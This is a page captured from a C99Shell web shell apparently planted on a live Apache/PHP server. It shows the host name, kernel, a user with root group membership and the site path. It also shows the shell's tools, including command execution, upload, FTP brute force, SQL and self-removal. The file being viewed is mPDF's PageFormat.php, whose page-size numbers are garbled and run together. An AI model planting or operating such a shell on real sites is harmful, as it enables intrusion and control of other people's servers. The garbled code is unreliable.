!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/   drwxr-xr-x
Free 25.38 GB of 117.98 GB (21.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PageFormat.php (2.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf;

class 
PageFormat
{

    
/**
     * This method returns an array of width and height of given named format.
     *
     * Returned values are milimeters multiplied by scale factor of 72 / 25.4
     *
     * @param string $name
     * @return float[] Width and height of given format
     */
    
public static function getSizeFromName($name)
    {
        
$format strtoupper($name);
        
$formats = [
            
'4A0' => [4767.876740.79],
            
'2A0' => [3370.394767.87],
            
'A0' => [2383.943370.39],
            
'A1' => [1683.782383.94],
            
'A2' => [1190.551683.78],
            
'A3' => [841.891190.55],
            
'A4' => [595.28841.89],
            
'A5' => [419.53595.28],
            
'A6' => [297.64419.53],
            
'A7' => [209.76297.64],
            
'A8' => [147.40209.76],
            
'A9' => [104.88147.40],
            
'A10' => [73.70104.88],
            
'B0' => [2834.654008.19],
            
'B1' => [2004.092834.65],
            
'B2' => [1417.322004.09],
            
'B3' => [1000.631417.32],
            
'B4' => [708.661000.63],
            
'B5' => [498.90708.66],
            
'B6' => [354.33498.90],
            
'B7' => [249.45354.33],
            
'B8' => [175.75249.45],
            
'B9' => [124.72175.75],
            
'B10' => [87.87124.72],
            
'C0' => [2599.373676.54],
            
'C1' => [1836.852599.37],
            
'C2' => [1298.271836.85],
            
'C3' => [918.431298.27],
            
'C4' => [649.13918.43],
            
'C5' => [459.21649.13],
            
'C6' => [323.15459.21],
            
'C7' => [229.61323.15],
            
'C8' => [161.57229.61],
            
'C9' => [113.39161.57],
            
'C10' => [79.37113.39],
            
'RA0' => [2437.803458.27],
            
'RA1' => [1729.132437.80],
            
'RA2' => [1218.901729.13],
            
'RA3' => [864.571218.90],
            
'RA4' => [609.45864.57],
            
'SRA0' => [2551.183628.35],
            
'SRA1' => [1814.172551.18],
            
'SRA2' => [1275.591814.17],
            
'SRA3' => [907.091275.59],
            
'SRA4' => [637.80907.09],
            
'LETTER' => [612.00792.00],
            
'LEGAL' => [612.001008.00],
            
'LEDGER' => [1224.00792.00],
            
'TABLOID' => [792.001224.00],
            
'EXECUTIVE' => [521.86756.00],
            
'FOLIO' => [612.00936.00],
            
'B' => [362.83561.26], // 'B' format paperback size 128x198mm
            
'A' => [314.65504.57], // 'A' format paperback size 111x178mm
            
'DEMY' => [382.68612.28], // 'Demy' format paperback size 135x216mm
            
'ROYAL' => [433.70663.30], // 'Royal' format paperback size 153x234mm
        
];

        if (!isset(
$formats[$format])) {
            throw new 
\Mpdf\MpdfException(sprintf('Unknown page format %s'$format));
        }

        return 
$formats[$format];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--